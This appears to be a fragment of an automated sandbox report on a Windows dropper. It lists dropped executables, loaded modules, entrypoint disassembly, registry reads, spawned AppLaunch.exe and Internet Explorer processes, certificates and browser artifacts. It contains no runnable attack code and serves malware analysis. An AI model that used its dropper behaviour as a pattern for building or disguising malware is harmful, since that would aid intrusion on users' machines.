"%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIO5AE0F00F#\252CC7B0FAE8CFE083BDC149957C0C54\PRESENTATIONFRAMEWORK.NI.DLL" at base 5c100000 "AppLaunch.exe" loaded module "UCRTBASE_CLR0400.DLL" at base 6a650000 "AppLaunch.exe" loaded module "SHLWAPI.DLL" at base 75e60000 "AppLaunch.exe" loaded module "DWRITE.DLL" at base 6a4c0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 752e0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\WPF\WPFGFX_V0400.DLL" at base 5bf70000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\WPF\PRESENTATIONNATIVE_V0400.DLL" at base 5be80000 "AppLaunch.exe" loaded module "VERSION.DLL" at base 74530000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.RUNTEB92AA12#\274E43040C8A7A02EF1065DB3283005A\SYSTEM.RUNTIME.SERIALIZATION.NI.DLL" at base 5aec0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.IDENTITYMODEL\C2EF5BC545B98A289F02D0B3EDDBE280\SYSTEM.IDENTITYMODEL.NI.DLL" at base 5abb0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SMDIAGNOSTICS\DC67DCB4B2FB4A3853D458CAB08561F0\SMDIAGNOSTICS.NI.DLL" at base 72510000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.TRANSACTIONS\3D760B4A3260A41EF84A3FD866780980\SYSTEM.TRANSACTIONS.NI.DLL" at base 6c400000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 71620000 "AppLaunch.exe" loaded module "WS2_32.DLL" at base 75700000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74a60000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 745c0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 74a50000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\DIASYMREADER.DLL" at base 6acf0000 "6gz238.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74f40000 "AppLaunch.exe" loaded module "WINHTTP.DLL" at base 71480000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 73460000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 748a0000 "AppLaunch.exe" loaded module "CRYPT32.DLL" at base 7516000040:Tb41,"e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3" was detected as "Microsoft Cabinet" and name: "sfx" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3" was detected as "Microsoft Visual C/C++" and name: "Compiler" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3" was detected as "Microsoft Cabinet File" and name: "Archive" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3" was detected as "Microsoft Linker" and name: "Linker" "Px7mP64.exe" was detected as "Microsoft Cabinet" and name: "sfx" "Px7mP64.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "Px7mP64.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "Px7mP64.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "Px7mP64.exe" was detected as "Microsoft Linker" and name: "Linker" "3Wl168Kl.exe" was detected as "Microsoft Cabinet" and name: "sfx" "3Wl168Kl.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "3Wl168Kl.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "3Wl168Kl.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "3Wl168Kl.exe" was detected as "Microsoft Linker" and name: "Linker" "yX3Tk97.exe" was detected as "Microsoft Cabinet" and name: "sfx" "yX3Tk97.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "yX3Tk97.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "yX3Tk97.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "yX3Tk97.exe" was detected as "Microsoft Linker" and name: "Linker" "6gz238.exe" was detected as "Microsoft Cabinet" and name: "sfx" "6gz238.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "6gz238.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "6gz238.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "6gz238.exe" was detected as "Microsoft Linker" and name: "Linker" "5IC74Hi.exe" was detected as "Microsoft Cabinet" and name: "sfx" "5IC74Hi.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "5IC74Hi.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "5IC74Hi.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "5IC74Hi.exe" was detected as "Microsoft Linker" and name: "Linker" "4fJ5jN0.exe" was detected as "Microsoft Cabinet" and name: "sfx" "4fJ5jN0.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "4fJ5jN0.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "4fJ5jN0.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "4fJ5jN0.exe" was detected as "Microsoft Linker" and name: "Linker"41:T105f,"e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "Px7mP64.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "3Wl168Kl.exe" file has an entrypoint instructions - "call 0x420aea,jmp 0x4203fb,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x4205e7,mov dword ptr [esi], 0x49fdf0,mov eax, esi,pop esi,pop ebp,ret 4,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0,mov dword ptr [ecx + 4], 0x49fdf8,mov dword ptr [ecx], 0x49fdf0,ret ,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x4205e7,mov dword ptr [esi], 0x49fe0c,mov eax, esi,pop esi,pop ebp,ret 4,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0," "yX3Tk97.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "6gz238.exe" file has an entrypoint instructions - "call 0x4028d2,jmp 0x40229e,ret 0,mov ecx, dword ptr [ebp - 0xc],mov dword ptr fs:[0], ecx,pop ecx,pop edi,pop edi,pop esi,pop ebx,mov esp, ebp,pop ebp,push ecx,ret ,mov ecx, dword ptr [ebp - 0x10],xor ecx, ebp,call 0x4021a8,jmp 0x40242d,push eax,push dword ptr fs:[0],lea eax, [esp + 0xc],sub esp, dword ptr [esp + 0xc],push ebx,push esi,push edi,mov dword ptr [eax], ebp,mov ebp, eax,mov eax, dword ptr [0x41d00c],xor eax, ebp,push eax,push dword ptr [ebp - 4],mov dword ptr [ebp - 4], 0xffffffff,lea eax, [ebp - 0xc],mov dword ptr fs:[0], eax,ret ,push eax," "5IC74Hi.exe" file has an entrypoint instructions - "call 0x4028e2,jmp 0x4022a2,ret 0,mov ecx, dword ptr [ebp - 0xc],mov dword ptr fs:[0], ecx,pop ecx,pop edi,pop edi,pop esi,pop ebx,mov esp, ebp,pop ebp,push ecx,ret ,mov ecx, dword ptr [ebp - 0x10],xor ecx, ebp,call 0x4021ac,jmp 0x402431,push eax,push dword ptr fs:[0],lea eax, [esp + 0xc],sub esp, dword ptr [esp + 0xc],push ebx,push esi,push edi,mov dword ptr [eax], ebp,mov ebp, eax,mov eax, dword ptr [0x41d00c],xor eax, ebp,push eax,push dword ptr [ebp - 4],mov dword ptr [ebp - 4], 0xffffffff,lea eax, [ebp - 0xc],mov dword ptr fs:[0], eax,ret ,push eax," "4fJ5jN0.exe" file has an entrypoint instructions - "call 0x4028e2,jmp 0x4022a2,ret 0,mov ecx, dword ptr [ebp - 0xc],mov dword ptr fs:[0], ecx,pop ecx,pop edi,pop edi,pop esi,pop ebx,mov esp, ebp,pop ebp,push ecx,ret ,mov ecx, dword ptr [ebp - 0x10],xor ecx, ebp,call 0x4021ac,jmp 0x402431,push eax,push dword ptr fs:[0],lea eax, [esp + 0xc],sub esp, dword ptr [esp + 0xc],push ebx,push esi,push edi,mov dword ptr [eax], ebp,mov ebp, eax,mov eax, dword ptr [0x41d00c],xor eax, ebp,push eax,push dword ptr [ebp - 4],mov dword ptr [ebp - 4], 0xffffffff,lea eax, [ebp - 0xc],mov dword ptr fs:[0], eax,ret ,push eax,"42:T5c2,"e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "Px7mP64.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Px7mP64.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "yX3Tk97.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "yX3Tk97.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "3Wl168Kl.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "3Wl168Kl.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "3Wl168Kl.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "4fJ5jN0.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "4fJ5jN0.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "5IC74Hi.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "5IC74Hi.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "6gz238.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "6gz238.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US")43:T1043,Observed system executable string:"C:\Windows\system32\apphelp.dll" [Source: 00003376.00000D30.1041721.00050000.wprm] Observed system executable string:"%WINDIR%\system32\advpack.dll" [Source: 00000000-00001476-00000C2B-289303947] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"" [Source: 00000000-00001476-00000BC1-289436589] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"" [Source: 00000000-00003376-00000BC1-290057984] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"" [Source: 00000000-00000292-00000BC1-290652363] Observed system executable string:"%WINDIR%\System32\ieframe.dll" [Source: 00000000-00006000-00000C2B-292682185] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00004648-00000C2B-335724831] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00004648-00000C2B-335810535] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00004648-00000C2B-336653227] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00004648-00000C2B-336678703] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00004648-00000C2B-336724238] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00004648-00000C2B-336880651] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00004648-00000C2B-336974394] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll" [Source: 00000000-00004648-00000C2B-337028679] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll" [Source: 00000000-00004648-00000C2B-337231584] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" [Source: 00000000-00004648-00000C2B-337482441] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00004648-00000C2B-337741262] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll" [Source: 00000000-00004648-00000C2B-337763406] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll" [Source: 00000000-00004648-00000C2B-337798433] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll" [Source: 00000000-00004648-00000C2B-337822370] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00004648-00000C2B-337948911] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\WindowsBase\1a4cc316fb6d09525321fc0be44692d8\WindowsBase.ni.dll" [Source: 00000000-00004648-00000C2B-338789137] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\PresentationCore\468f4e17be144ca12a73a4297eacc9cc\PresentationCore.ni.dll" [Source: 00000000-00004648-00000C2B-339051133] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\252cc7b0fae8cfe083bdc149957c0c54\PresentationFramework.ni.dll" [Source: 00000000-00004648-00000C2B-340343152] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll" [Source: 00000000-00004648-00000C2B-340429751]44:T585,Spawned process "Px7mP64.exe" (UID: 00000000-00003376) Spawned process "yX3Tk97.exe" (UID: 00000000-00000292) Spawned process "3Wl168Kl.exe" (UID: 00000000-00006000) Spawned process "iexplore.exe" with commandline "https://accounts.google.com/" (UID: 00000000-00002460) Spawned process "iexplore.exe" with commandline "SCODEF:2460 CREDAT:275457 /prefetch:2" (UID: 00000000-00001840) Spawned process "iexplore.exe" with commandline "SCODEF:2460 CREDAT:275466 /prefetch:2" (UID: 00000000-00003904) Spawned process "iexplore.exe" with commandline "SCODEF:2460 CREDAT:799751 /prefetch:2" (UID: 00000000-00002840) Spawned process "iexplore.exe" with commandline "SCODEF:2460 CREDAT:996363 /prefetch:2" (UID: 00000000-00000792) Spawned process "iexplore.exe" with commandline "SCODEF:2460 CREDAT:1455122 /prefetch:2" (UID: 00000000-00001580) Spawned process "iexplore.exe" with commandline "SCODEF:2460 CREDAT:930854 /prefetch:2" (UID: 00000000-00003468) Spawned process "iexplore.exe" with commandline "SCODEF:2460 CREDAT:1061936 /prefetch:2" (UID: 00000000-00003256) Spawned process "4fJ5jN0.exe" (UID: 00000000-00004536) Spawned process "AppLaunch.exe" (UID: 00000000-00002332) Spawned process "5IC74Hi.exe" (UID: 00000000-00004856) Spawned process "AppLaunch.exe" (UID: 00000000-00004648) Spawned process "6gz238.exe" (UID: 00000000-00002204) Spawned process "AppLaunch.exe" (UID: 00000000-00002712)45:T585,Spawned process "Px7mP64.exe" (UID: 00000000-00003376) Spawned process "yX3Tk97.exe" (UID: 00000000-00000292) Spawned process "3Wl168Kl.exe" (UID: 00000000-00006000) Spawned process "iexplore.exe" with commandline "https://accounts.google.com/" (UID: 00000000-00002460) Spawned process "iexplore.exe" with commandline "SCODEF:2460 CREDAT:275457 /prefetch:2" (UID: 00000000-00001840) Spawned process "iexplore.exe" with commandline "SCODEF:2460 CREDAT:275466 /prefetch:2" (UID: 00000000-00003904) Spawned process "iexplore.exe" with commandline "SCODEF:2460 CREDAT:799751 /prefetch:2" (UID: 00000000-00002840) Spawned process "iexplore.exe" with commandline "SCODEF:2460 CREDAT:996363 /prefetch:2" (UID: 00000000-00000792) Spawned process "iexplore.exe" with commandline "SCODEF:2460 CREDAT:1455122 /prefetch:2" (UID: 00000000-00001580) Spawned process "iexplore.exe" with commandline "SCODEF:2460 CREDAT:930854 /prefetch:2" (UID: 00000000-00003468) Spawned process "iexplore.exe" with commandline "SCODEF:2460 CREDAT:1061936 /prefetch:2" (UID: 00000000-00003256) Spawned process "4fJ5jN0.exe" (UID: 00000000-00004536) Spawned process "AppLaunch.exe" (UID: 00000000-00002332) Spawned process "5IC74Hi.exe" (UID: 00000000-00004856) Spawned process "AppLaunch.exe" (UID: 00000000-00004648) Spawned process "6gz238.exe" (UID: 00000000-00002204) Spawned process "AppLaunch.exe" (UID: 00000000-00002712)46:Tb80,The input sample is signed with a certificate issued by "CN=WR2, O=Google Trust Services, C=US" (SHA1: FC:B8:DC:ED:6F:0B:18:09:F8:63:FD:24:B5:43:5B:82:24:12:8D:CE; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R1, O=Google Trust Services LLC, C=US" (SHA1: 66:E4:16:12:60:B1:00:FE:E0:DE:28:7A:9A:52:93:B4:C2:22:4A:E6; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 08:74:54:87:E8:91:C1:9E:30:78:C1:F2:A0:7E:45:29:50:EF:36:F6; see report for more information) The input sample is signed with a certificate issued by "CN=WR2, O=Google Trust Services, C=US" (SHA1: BC:1F:B5:F8:04:0C:7B:4F:F4:4F:20:30:D3:BA:66:E6:AF:8E:8F:AF; see report for more information) The input sample is signed with a certificate issued by "CN=WR2, O=Google Trust Services, C=US" (SHA1: DB:16:C1:37:8D:6C:67:F5:7B:69:A5:CC:5A:E4:14:86:68:68:28:08; see report for more information) The input sample is signed with a certificate issued by "CN=WR2, O=Google Trust Services, C=US" (SHA1: 2F:3E:B0:A8:44:32:59:B0:15:E4:8E:5A:B5:0C:9C:5C:04:8F:36:E4; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: 36:C6:15:F5:21:0B:24:21:0E:72:00:85:DD:C6:59:8A:81:39:9C:5F; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: 3C:F7:A3:68:2E:01:AD:2D:3C:81:BA:39:16:59:75:E3:82:26:E5:84; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global G2 TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US" (SHA1: 07:D5:2A:32:43:06:48:D3:1D:A1:74:4A:6C:D6:B4:EC:DB:7D:B2:B1; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: 1B:51:1A:BE:AD:59:C6:CE:20:70:77:C0:BF:0E:00:43:B1:38:26:12; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: B7:40:25:17:EE:AA:C8:0A:B0:46:81:18:6E:82:47:BD:78:51:CD:0A; see report for more information) The input sample is signed with a certificate issued by "CN=Amazon RSA 2048 M04, O=Amazon, C=US" (SHA1: EE:C1:BD:4E:34:75:3D:C4:2D:EA:58:F4:C4:BE:80:F1:E7:A2:AE:4E; see report for more information)47:T27a0,"Px7mP64.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP000.TMP\Px7mP64.exe]- [targetUID: 00000000-00001476] "3Wl168Kl.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP002.TMP\3Wl168Kl.exe]- [targetUID: 00000000-00006000] "yX3Tk97.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP001.TMP\yX3Tk97.exe]- [targetUID: 00000000-00000292] "6gz238.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 5 sections"- Location: [%TEMP%\IXP000.TMP\6gz238.exe]- [targetUID: 00000000-00002204] "5IC74Hi.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 5 sections"- Location: [%TEMP%\IXP001.TMP\5IC74Hi.exe]- [targetUID: 00000000-00004856] "4fJ5jN0.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 5 sections"- Location: [%TEMP%\IXP002.TMP\4fJ5jN0.exe]- [targetUID: 00000000-00004536] "index-BMC5_rMx_1_.js" has type "Unknown"- [targetUID: N/A] "7F163155784C838E248DC76B973A1804" has type "Unknown"- [targetUID: N/A] "E2d9v-WFVIcB4uEiwLtX0vxgo-3469oiGGxG-roDaQsdT9DWDYPz6DhfgQe914iiBfONMKn3YhINqU49pVNahkCkvx2I9b7Pb8KWpaE_brMCJG_1_.css" has type "Unknown"- [targetUID: N/A] "identifier_2_.htm" has type "Unknown"- [targetUID: N/A] "identifier_3_.htm" has type "Unknown"- [targetUID: N/A] "identifier_1_.htm" has type "Unknown"- [targetUID: N/A] "login_1_.htm" has type "Unknown"- [targetUID: N/A] "api_1_.js" has type "Unknown"- [targetUID: N/A] "GDCZB5WC.htm" has type "HTML document ASCII text with very long lines (56044) with CRLF line terminators"- [targetUID: N/A] "595CD0DCED5F6DE43A9C77C525C44511" has type "Unknown"- [targetUID: N/A] "0839ECC4815B5D8D5ED699ED1C20C543" has type "Unknown"- [targetUID: N/A] "75A092F4522006A97542D6AC4F4E69D2" has type "Unknown"- [targetUID: N/A] "9C69E496D546F49A980D7350EC49A180" has type "Unknown"- [targetUID: N/A] "dinosaur_1_.png" has type "Unknown"- [targetUID: N/A] "imagestore.dat" has type "Unknown"- [targetUID: N/A] "_FEA1DF10-B051-11F1-B0C9-00505691C366_.dat" has type "Unknown"- [targetUID: N/A] "KFOMCnqEu92Fr1ME7kSn66aGLdTylUAMQXC89YmC2DPNWub2bVmUiAw_1_.woff" has type "Unknown"- [targetUID: N/A] "KFOMCnqEu92Fr1ME7kSn66aGLdTylUAMQXC89YmC2DPNWubEbVmUiAw_1_.woff" has type "Unknown"- [targetUID: N/A] "~DF29B579B3C8D9CCBD.TMP" has type "Unknown"- [targetUID: N/A] "~DF4B1EAE2025906ACC.TMP" has type "Unknown"- [targetUID: N/A] "~DF81BC8135074E968C.TMP" has type "Unknown"- [targetUID: N/A] "ay1hV6OlegS_1_.ico" has type "Unknown"- [targetUID: N/A] "main_1_.js" has type "Unknown"- [targetUID: N/A] "Qw3hZQNGEDjaO2m6tqIqX5E-AVS5_rSejo46_PCTRspJ0OosolrBEJL3HMXfxQASluL2m_dANVawBpSF_1_.woff" has type "Unknown"- [targetUID: N/A] "en-US.4" has type "Unknown"- [targetUID: N/A] "~DF219F3B60215DBB16.TMP" has type "Unknown"- [targetUID: N/A] "~DF3758C99CC73315FD.TMP" has type "Unknown"- [targetUID: N/A] "~DF7197EAA4DC2E9E96.TMP" has type "Unknown"- [targetUID: N/A] "~DF9CF05A88050C62DA.TMP" has type "Unknown"- [targetUID: N/A] "~DFB4CBE5C89EFE3448.TMP" has type "Unknown"- [targetUID: N/A] "~DF782A4BF51D2D28D6.TMP" has type "Unknown"- [targetUID: N/A] "~DFB1392762A8A806A1.TMP" has type "Unknown"- [targetUID: N/A] "~DF475BF8EE24DE440D.TMP" has type "Unknown"- [targetUID: N/A] "~DFD7C27882421AE424.TMP" has type "Unknown"- [targetUID: N/A] "~DFD961E54443617480.TMP" has type "Unknown"- [targetUID: N/A] "firefox_1_.png" has type "Unknown"- [targetUID: N/A] "yt_logo_rgb_light_1_.png" has type "Unknown"- [targetUID: N/A] "httpErrorPagesScripts_1_" has type "Unknown"- [targetUID: N/A] "_7C7348C0-B04D-11F1-B0C9-00505691C366_.dat" has type "Unknown"- [targetUID: N/A] "_7C7348BE-B04D-11F1-B0C9-00505691C366_.dat" has type "Unknown"- [targetUID: N/A] "edgium_1_.png" has type "Unknown"- [targetUID: N/A] "login_2_.htm" has type "Unknown"- [targetUID: N/A] "RecoveryStore._7C7348BC-B04D-11F1-B0C9-00505691C366_.dat" has type "Unknown"- [targetUID: N/A] "chrome_1_.png" has type "Unknown"- [targetUID: N/A] "supported_browsers_1_.htm" has type "Unknown"- [targetUID: N/A] "epic-favicon-96x96_1_.png" has type "Unknown"- [targetUID: N/A] "_7C7348BF-B04D-11F1-B0C9-00505691C366_.dat" has type "Unknown"- [targetUID: N/A] "favicon_2_.ico" has type "Unknown"- [targetUID: N/A] "_FEA1DF11-B051-11F1-B0C9-00505691C366_.dat" has type "Unknown"- [targetUID: N/A] "_7C7348C1-B04D-11F1-B0C9-00505691C366_.dat" has type "Unknown"- [targetUID: N/A] "_FEA1DF0E-B051-11F1-B0C9-00505691C366_.dat" has type "Unknown"- [targetUID: N/A] "_82FAFAA1-B04D-11F1-B0C9-00505691C366_.dat" has type "Unknown"- [targetUID: N/A] "_82FAFA9F-B04D-11F1-B0C9-00505691C366_.dat" has type "Unknown"- [targetUID: N/A] "_82FAFAA2-B04D-11F1-B0C9-00505691C366_.dat" has type "Unknown"- [targetUID: N/A] "_82FAFA9E-B04D-11F1-B0C9-00505691C366_.dat" has type "Unknown"- [targetUID: N/A] "_FEA1DF0F-B051-11F1-B0C9-00505691C366_.dat" has type "Unknown"- [targetUID: N/A] "_82FAFAA0-B04D-11F1-B0C9-00505691C366_.dat" has type "Unknown"- [targetUID: N/A] 